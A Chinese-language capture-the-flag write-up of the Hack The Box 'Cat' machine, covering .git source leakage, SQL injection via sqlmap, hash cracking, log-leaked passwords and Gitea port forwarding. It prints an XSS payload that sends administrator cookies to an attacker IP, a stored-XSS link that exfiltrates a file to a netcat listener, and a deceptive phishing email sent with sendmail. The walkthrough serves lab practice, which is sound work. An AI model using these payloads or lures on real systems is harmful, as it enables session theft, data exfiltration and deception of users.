靶机地址: https://app.hackthebox.com/machines/Cat
一、信息收集与初步探测
1.1 Nmap 端口扫描
使用 Nmap 对目标 10.10.11.53 进行探测。

扫描结果显示,目标开放了 22 (SSH) 和 80 (HTTP) 端口,关注点在 Web 服务。
1.2 Web 服务探测
为了后续访问,要修改 /etc/hosts ,将 IP 地址映射到域名:
1 | 10.10.11.53 cat.htb |
然后,在浏览器中访问 http://cat.htb/。

接下来,用 dirsearch 扫目录,看看是否有隐藏的路径或敏感文件泄露。

扫描结果中,.git 目录的泄露非常显眼。这意味着可以尝试下载网站的源代码。
二、漏洞利用与初始权限获取
2.1 .git 泄露与源码审计
使用 GitHack (或 git-dumper) 工具下载泄露的 .git 目录内容:
1 | python3 GitHack.py http://cat.htb/.git/ |

下载完成后,可以查看网站的目录结构和源代码:

在审计 PHP 源代码时,通常关注以下几点:
- 输入处理 (Input Handling): 应用程序如何接收来自用户的数据(例如
$_GET,$_POST,$_FILES)?- 数据库交互 (Database Interaction): 数据是如何查询、插入、更新或删除的?是否一致地使用了预处理语句(Prepared Statements)?
- 认证与授权 (Authentication & Authorization): 用户如何登录?如何控制对敏感区域(如管理页面)的访问?这些检查是否容易被绕过?
- 文件处理 (File Handling): 文件是如何上传、存储、访问或删除的?是否有对文件类型、大小和路径的检查?
- 会话管理 (Session Management): 会话是如何启动、管理和销毁的?
- 输出编码 (Output Encoding): 用户提供的数据在显示回 HTML 页面之前是否经过了适当的编码,以防止跨站脚本攻击(XSS)?
- 依赖与配置 (Dependencies & Configuration): 是否有硬编码的秘密信息?是否暴露了敏感信息?
审计 accept_cat.php 文件时,发现一处明显的 SQL 注入漏洞。代码行 $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')"; 直接将来自 $_POST['catName'] 的 $cat_name 变量拼接到 SQL 查询字符串中。
同时,通过查看 admin.php,可以知道:
- 存在一个名为
axel的管理员用户。 - 该页面只有用户名为
axel的管理员才能访问。其他任何用户都会被重定向。

2.2 XSS 获取管理员 Cookie
既然 axel 管理员会访问某些页面,可以尝试利用 XSS 窃取其 Cookie。网站有用户注册功能,用户名似乎没有做严格的过滤,这可能是 XSS 的注入点。
准备 XSS Payload:
当管理员浏览到包含这个 Payload 的内容时,其 Cookie 会被发送到监听的 HTTP 服务器。
1 | <script>document.location='http://10.10.16.4:8888/?c='+document.cookie;</script> |
在攻击机上启动 HTTP 服务器监听:
1 | python3 -m http.server 8888 |
注册包含 XSS Payload 的用户:
在网站的注册页面,将 XSS Payload 作为用户名进行注册:
| Username: | Password: | Email: |
|---|---|---|
<script>document.location='http://10.10.16.4:8888/?c='+document.cookie;</script> |
testpass | test@a.com |

提示 “Registration successful!” 后,登录该用户。

接下来,需要找到一个管理员会查看的页面来触发 XSS。contest.php 页面允许用户提交猫咪信息参加比赛,管理员很可能会审核这些提交。

提交一个猫咪信息。由于的用户名本身就是 XSS Payload,当管理员 (axel) 浏览到这个用户提交的信息时,XSS 就会触发。

很快,在的 HTTP 监听服务器上,收到了 Cookie:

1 | 10.10.11.53 - - [05/May/2025 17:05:07] "GET /?c=PHPSESSID=bmq6r9up89ia29b3jflv331e7o HTTP/1.1" 200 - |
成功获取了 axel 管理员的 PHPSESSID。
2.3 利用 Cookie 进行 SQL 注入
现在拥有了 axel 的 Cookie,可以利用这个身份去访问之前发现的存在 SQL 注入漏洞的 accept_cat.php 脚本。
使用 sqlmap 进行注入,目标是 dump 出 users 表的数据:
1 | python3 ./sqlmap.py -u "http://cat.htb/accept_cat.php" \ |

sqlmap 成功 dump 出了 users 表的内容:
1 | +---------+-------------------------------+----------------------------------+----------+ |
2.4 密码破解与 SSH 登录 (rosa)
将这些密码哈希提交到在线破解网站,如 CrackStation。
rosa 用户的哈希 ac369922d560f17d6eeb8b2c7dec498c 成功被破解。


密码是 soyunaprincesarosa。
尝试使用这个凭证通过 SSH 登录 rosa 用户:
1 | ssh rosa@10.10.11.53 |
三、权限提升至 axel
3.1 内部信息搜集
登录 rosa 用户后,需要寻找提升到 axel 用户权限的方法。日志文件通常是信息泄露的常见位置。检查 /var/log (或者其他可能的日志路径) 是否有 axel 用户的活动记录或敏感信息。

发现了 axel 用户的明文密码:aNdZwgC4tI9gnVXv_e3Q。

3.2 SSH 登录 axel
使用找到的凭证 SSH 登录 axel 用户:
1 | ssh axel@10.10.11.53 |

成功登录 axel!可以在其家目录下找到 user.txt。

至此,已经拿到了 user 权限。
四、提权至 Root:利用内部 Gitea 服务
4.1 阅读邮件,发现新目标
在 axel 用户 /var/mail/ 中,发现了邮件信息。
1 | cat /var/mail/axel |



其中一封来自 rosa@cat.htb 的邮件提到了一个新的 “Employee management” 系统,其 Gitea 仓库地址为 http://localhost:3000/administrator/Employee-management/,并且 README.md 文件的直接链接为 http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md。
另一封邮件则要求 axel 将其 Gitea 仓库信息发送给 jobert@localhost 进行审核。
这些信息表明:
- 系统内部运行着一个 Gitea 服务 (
localhost:3000)。 administrator是 Gitea 上的一个高权限用户(可能与jobert相关)。jobert会审查 Gitea 仓库。
4.2 端口转发访问内部 Gitea
Gitea 是一个 Web 应用,需要图形化的浏览器来交互,所以需要做端口转发

(确保攻击机的防火墙允许 12345 端口入站)



现在,可以在攻击机的浏览器上访问靶机内部的 Gitea 服务了。

使用 axel 用户的 Gitea 凭证(与其 SSH 密码相同:aNdZwgC4tI9gnVXv_e3Q)登录。

登录后,可以看到 Gitea 的版本信息:1.22.0。
4.3 Gitea Stored XSS 漏洞利用
搜索 Gitea 1.22.0 版本的漏洞,发现存在一个 Stored XSS 漏洞

可以利用 axel 用户的权限,在他自己的一个仓库(例如新建一个名为 xss-exploit 的仓库)的描述 (Description) 中植入 XSS Payload。
测试 XSS Payload (弹窗):
先用一个简单的弹窗 Payload 测试漏洞是否存在:

不小心断开连接了,不过端口转发还在。

(创建 xss-exploit 仓库)

(在描述中放入 XSS payload)
当访问该仓库页面时,成功弹窗!

4.4 窃取 administrator 的 index.php 文件
的目标是读取 administrator 用户 Employee-management 仓库中的 index.php 文件内容,因为邮件中提到这是个正在开发的重要系统,可能包含敏感信息。
思路:
通过 axel 用户的权限,在 Gitea 中植入一个 XSS Payload。然后诱导 jobert 用户(猜测他就是 Gitea 的 administrator,或者有权限访问该仓库)点击包含该 Payload 的链接。当 jobert 点击时,XSS 会在他的会话上下文中执行,读取 index.php 的内容,并将其发送到的监听服务器。
注意: axel 用户直接尝试访问 http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php 可能会因为权限不足而失败。但如果是在 administrator (Jobert) 的会话中执行,就能成功。
XSS Payload (数据窃取):
1 | <a href="javascript: |
在 axel 用户的 xss-exploit 仓库的描述中更新此 Payload。

在攻击机上启动 Netcat 监听:
1 | nc -lvnp 4444 |
4.5 发送邮件诱导 Jobert
现在,需要诱导 jobert 访问植入了 XSS Payload 的页面并点击链接。根据之前邮件的线索,jobert 会审查仓库。以 axel 的身份给 jobert 发送一封邮件:
1 | echo -e 'Subject: URGENT - Action Required: Employee System Credentials Link\n\nHello Jobert,\n\nFurther to our development of the Employee Management system, critical access information is now available via a link within my xss-exploit project.\n\nPlease visit the repository immediately: http://localhost:3000/axel/xss-exploit\n\n**VERY IMPORTANT: You MUST click the link in the project description (it says '"'"'Click for Critical Employee System Info (Index)'"'"') to retrieve the necessary details.**\n\nThis is time-sensitive.\n\nThanks,\nAxel' | sendmail jobert@localhost |
4.6 获取 index.php 内容
等待片刻,如果 jobert 点击了链接,的 Netcat 监听器应该会收到 index.php 的内容:

对接收到的 URL 编码内容进行解码,得到 index.php 的源码:
1 |
|
成功获取了 “Employee Management” 系统的 Basic Auth 凭证:admin:IKw75eR0MR7CMIxhH0。
4.7 (后续步骤 - 获取 root.txt)
根据靶机设计,最终获取到 root.txt

五、总结
Cat 靶机串联了 Web 源码审计、SQL 注入、XSS Cookie 窃取、本地日志信息泄露、内部服务探测、端口转发以及 Stored XSS 利用,希望这篇 Writeup 对大家有所帮助!